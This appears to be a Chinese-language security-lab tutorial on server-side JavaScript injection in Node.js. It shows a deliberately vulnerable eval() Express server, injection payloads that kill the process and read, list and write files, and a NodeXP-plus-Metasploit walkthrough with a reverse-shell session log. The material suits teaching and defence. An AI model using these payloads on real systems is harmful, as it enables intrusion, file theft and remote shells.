SSJI —— Node.js漏洞審計系列(一)
0x00 前言
hello我是掌控安全實驗室的聶風,JavaScript在Node.js的幫助下變成了服務端指令碼語言,那麼既然是服務端指令碼語言,就可能存在一些安全性問題。SSJI(伺服器端JavaScript注入) 就是一種比較新穎的攻擊手法。攻擊者可以利用JS函式在伺服器上執行惡意JS程式碼獲得cmdshell。
0x01 環境搭建
工具:
https://nodejs.org/dist/v10.15.3/node-v10.15.3-x64.msi
https://github.com/esmog/nodexp/archive/master.zip
Metasploit-frameword(MSF)
搭建:
先傻瓜式的安裝Node.js
安裝好後Node.js 記得再安裝一個express框架
npm install express –save (新版的Node.js都自帶了npm)
0x02 SSJI危害
如果沒有對輸入進行檢測,那麼可能會容易受到攻擊,攻擊者可以利用JS函式在伺服器上執行惡意JS程式碼。
可利用的函式有什麼?
Eval() setTimeout() Setinterval() Funtion()
例如:(Eval.js:)
var express = require('express'); var app = express(); app.get('/', function(req, res) { var resp=eval(req.query.name); res.send('Response</br>'+resp); }); app.listen(3002); console.log('Server runing at http://127.0.0.1:3002/');
當我們使用Node.js去執行這個js的時候會在本地開啟一個3002埠的WEB服務,然後他會獲取GET方式傳參上來的傳參名為name的值,然後將獲取到的值放在eval()函式中執行。
我們去訪問這個埠
然後我們可以對他進行GET傳參,比如name=console.log(“hello World”);
傳參後就很明顯執行了,在命令列中很明顯的輸出了Hello World!
那麼我們既然能夠執行輸出,是不是能執行其他語句?比如一些惡意語句.
process.exit() / process.kill(process.pid)
還可以殺死他執行程序(NodeJs)
程序被終結掉了。
基本上,攻擊者可以在系統上執行/執行幾乎任何操作(在使用者許可權限制內) 我們還可以嘗試呼叫核心模組fs讀取/列出當前目錄下的檔名和資料夾名
res.end(require('fs').readdirSync('.').toString())
我們也可以嘗試呼叫核心模組fs寫入檔案(雖然沒有回顯,但是還是成功寫入)
res.end(require('fs').writeFileSync('message.txt','hello'))
我們也可以嘗試呼叫核心模組fs去讀取他的檔案
res.end(require('fs').readFileSync('a.js','utf-8'))
如果目標的機器上面安裝了node-cmd就可以呼叫cmd (為顯示明瞭我去呼叫一個exe安裝)
var nodeCmd = require('node-cmd');nodeCmd.run('360cse_9.5.0.138.exe');
很明顯我們就呼叫了cmd
0x03 通過nodexp獲取cmdshell
我們也可以嘗試使用NodeXP工具加MSF來成功的獲取一個cmdshell
使用方法:
GET: python nodexp.py –url=http://localhost:3001/?name=[INJECT_HERE]
POST: python nodexp.py –url=http://localhost:3001/post.js –pdata=username=[INJECT_HERE]
設定一個攻擊機器的IP(裝有MSF)
設定埠
然後會自動執行一個MSF 自動配置好
選擇1去打一個cmdshell
成功返回一個session
選中 sessions -i 1 (然後會卡,直接恩回車就行)
成功獲得cmdshell
MSF執行語句:
[*] Processing /root/nodexp-master/scripts/nodejs_shell.rc for ERB directives. resource (/root/nodexp-master/scripts/nodejs_shell.rc)> use exploit/multi/handler resource (/root/nodexp-master/scripts/nodejs_shell.rc)> set payload nodejs/shell_reverse_tcp payload => nodejs/shell_reverse_tcp resource (/root/nodexp-master/scripts/nodejs_shell.rc)> set lhost 172.16.0.160 lhost => 172.16.0.160 resource (/root/nodexp-master/scripts/nodejs_shell.rc)> set lport 4570 lport => 4570 resource (/root/nodexp-master/scripts/nodejs_shell.rc)> set ExitOnSession true ExitOnSession => true resource (/root/nodexp-master/scripts/nodejs_shell.rc)> set InitialAutoRunScript 'post/multi/manage/shell_to_meterpreter' InitialAutoRunScript => post/multi/manage/shell_to_meterpreter resource (/root/nodexp-master/scripts/nodejs_shell.rc)> spool /root/nodexp-master/scripts/nodejs_shell.rc.output.txt [*] Spooling to file /root/nodexp-master/scripts/nodejs_shell.rc.output.txt... resource (/root/nodexp-master/scripts/nodejs_shell.rc)> exploit -j -z [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 172.16.0.160:4570 msf5 exploit(multi/handler) > [*] Command shell session 1 opened (172.16.0.160:4570 -> 172.16.0.236:51759) at 2019-03-21 18:01:56 +0800 [*] Session ID 1 (172.16.0.160:4570 -> 172.16.0.236:51759) processing InitialAutoRunScript 'post/multi/manage/shell_to_meterpreter' [!] SESSION may not be compatible with this module. [*] Upgrading session ID: 1
0x04 總結
現在使用JavaScript開發的網站將越來越多,但是SSJI(伺服器端JavaScript注入) 並沒有受到重視,還屬於比較冷門的攻擊手法,但是該攻擊手法危害高,應當重視起來。Node.js 安全性的範圍很大,該文章作為一個引子, 掌控安全實驗室 將持續跟進分析,希望大家支援!下期見。